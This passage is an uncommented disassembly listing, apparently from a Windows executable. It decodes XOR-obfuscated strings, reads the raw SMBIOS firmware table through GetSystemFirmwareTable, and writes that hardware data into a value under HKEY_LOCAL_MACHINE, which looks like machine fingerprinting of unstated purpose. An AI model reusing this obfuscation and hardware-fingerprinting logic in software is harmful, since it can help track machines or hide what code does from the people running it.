pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140014bf0
cmp r8d, 0x16
jge 0x140014d42
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140014d10
movzx eax, word [0x1400711dc]
mov word [rbp - 0x60], ax
cmp byte [0x1400711dd], 0
je 0x140014d62
mov byte [rbp - 0x60], 0x2b
xor byte [rbp - 0x5f], 0x37
lea r9, [rbp + 0x260]
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x60]
mov ecx, 0xa
call fcn.140001270
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0x52534d42
call qword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8d, edi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x140014fa5
movups xmm0, xmmword [0x140079f60]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140079f70]
movups xmmword [rsp + 0x60], xmm1
mov ecx, dword [0x140079f80]
mov dword [rsp + 0x70], ecx
mov r8d, r13d
cmp esi, 2
jl 0x140014f2b
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, r14d
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r15d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140014e20
cmp r8d, 0x24
jge 0x140014f72
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140014f40
movzx eax, word [0x140071188]
mov word [rbp - 0x60], ax
cmp byte [0x140071189], 0
je 0x140014f92
mov byte [rbp - 0x60], 0x2d
xor byte [rbp - 0x5f], 0x37
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x60]
mov ecx, 0xc
call fcn.140001270
mov r9d, edi
mov r8, rbx
xor edx, edx
mov ecx, 0x52534d42
call qword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
cmp eax, edi
je 0x1400151b5
movups xmm0, xmmword [0x14007a028]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14007a038]
movups xmmword [rsp + 0x60], xmm1
movzx eax, byte [0x14007a048]
mov byte [rsp + 0x70], al
mov r8d, r13d
cmp esi, 2
jl 0x14001513b
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, r14d
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r15d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140015030
cmp r8d, 0x21
jge 0x140015182
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140015150
movzx eax, word [0x140071188]
mov word [rbp - 0x60], ax
cmp byte [0x140071189], 0
je 0x1400151a2
mov byte [rbp - 0x60], 0x2d
xor byte [rbp - 0x5f], 0x37
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x60]
mov ecx, 0xc
call fcn.140001270
movups xmm0, xmmword [0x140071260]
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x140071280]
movups xmm1, xmmword [0x140071270]
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x60], xmm1
cmp esi, 2
jl 0x140015324
movdqa xmm5, xmmword [0x140082b80]
mov edx, r13d
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, r14d
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r15d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x54]
mov r8d, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140015220
jmp 0x140015362
lea r10, [rsp + 0x50]
mov r8d, r13d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x36
add dl, r8b
xor byte [r10], dl
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0x30
jl 0x140015330
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, [rsp + 0x50]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14001566d
movsd xmm0, qword [str.ezzPUHxJ_]
movsd qword [rbp - 0x40], xmm0
movzx eax, word [0x140071388]
mov word [rbp - 0x38], ax
movzx ecx, byte [0x14007138a]
mov byte [rbp - 0x40], 0x53
xor byte [rbp - 0x3f], 0x37
xor byte [rbp - 0x3e], 0x38
xor byte [rbp - 0x3d], 0x39
xor byte [rbp - 0x3c], 0x3a
xor byte [rbp - 0x3b], 0x3b
xor byte [rbp - 0x3a], 0x3c
xor byte [rbp - 0x39], 0x3d
xor al, 0x3e
mov byte [rbp - 0x38], al
xor byte [rbp - 0x37], 0x3f
xor cl, 0x40
mov byte [rbp - 0x36], cl
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
lea rdx, [rbp - 0x40]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x14001565e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, eax
movups xmm0, xmmword [str.sEJVHeOXJK___c]
movups xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [0x140071200]
movsd qword [rsp + 0x40], xmm1
movzx ecx, word [0x140071208]
mov word [rsp + 0x48], cx
movzx ecx, byte [0x14007120a]
mov byte [rsp + 0x4a], cl
mov r8d, r13d
cmp esi, 2
jl 0x14001558c
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, r14d
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r15d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rbp - 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140015481
cmp r8d, 0x1b
jge 0x1400155d2
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400155a0
movzx eax, word [0x140071188]
mov word [rbp - 0x60], ax
cmp byte [0x140071189], 0
je 0x1400155f2
mov byte [rbp - 0x60], 0x2d
xor byte [rbp - 0x5f], 0x37
movsd xmm0, qword [str.ezzPUHxJ_]
movsd qword [rbp - 0x40], xmm0
movzx eax, word [0x140071388]
mov word [rbp - 0x38], ax
movzx eax, byte [0x14007138a]
mov byte [rbp - 0x36], al
movups xmm0, xmmword [0x140071260]
movaps xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140071270]
movaps xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x140071280]
movaps xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x28], r10d
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x60]
mov ecx, 0xc
call fcn.140001270
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400158b3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, eax
movups xmm0, xmmword [0x140071138]
movups xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [0x140071148]
movsd qword [rsp + 0x40], xmm1
mov ecx, dword [0x140071150]
mov dword [rsp + 0x48], ecx
movzx ecx, word [0x140071154]
mov word [rsp + 0x4c], cx
cmp byte [0x140071155], 0
je 0x140015852
mov r8d, r13d
cmp esi, 2
jl 0x14001580b
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, r14d
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r15d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140015700
cmp r8d, 0x1e
jge 0x140015852
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140015820
movzx eax, word [0x140071188]
mov word [rbp - 0x60], ax
cmp byte [0x140071189], 0
je 0x140015872
mov byte [rbp - 0x60], 0x2d
xor byte [rbp - 0x5f], 0x37
movups xmm0, xmmword [0x140071260]
movaps xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140071270]
movaps xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x140071280]
movaps xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x20], r10d
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x60]
mov ecx, 0xc
call fcn.140001270
movups xmm0, xmmword [0x140071748]
movups xmmword [rbp - 0x40], xmm0
mov eax, dword [0x140071758]
mov dword [rbp - 0x30], eax
movzx eax, word [0x14007175c]
mov word [rbp - 0x2c], ax
cmp byte [0x14007175d], 0
je 0x140015a72
mov r8d, r13d
cmp esi, 2
jl 0x140015a2c
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, r14d
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r15d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x3c]
mov edx, dword [rbp - 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140015921
cmp r8d, 0x16
jge 0x140015a72
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140015a40
movzx eax, word [0x1400711dc]
mov word [rbp - 0x60], ax
cmp byte [0x1400711dd], 0
je 0x140015a92
mov byte [rbp - 0x60], 0x2b
xor byte [rbp - 0x5f], 0x37
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x60]
mov ecx, 0xa
call fcn.140001270
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140015ae8
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015ae3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015b8c
call fcn.140024220
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x140015b3b
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015b36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015b7a
call fcn.140024220
mov rcx, qword [rbp + 0x3d0]
xor rcx, rsp
call fcn.140024200
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14002fc9c
nop
call fcn.1400073e0
nop
call fcn.14002fc9c
nop
call fcn.14002fc9c
int3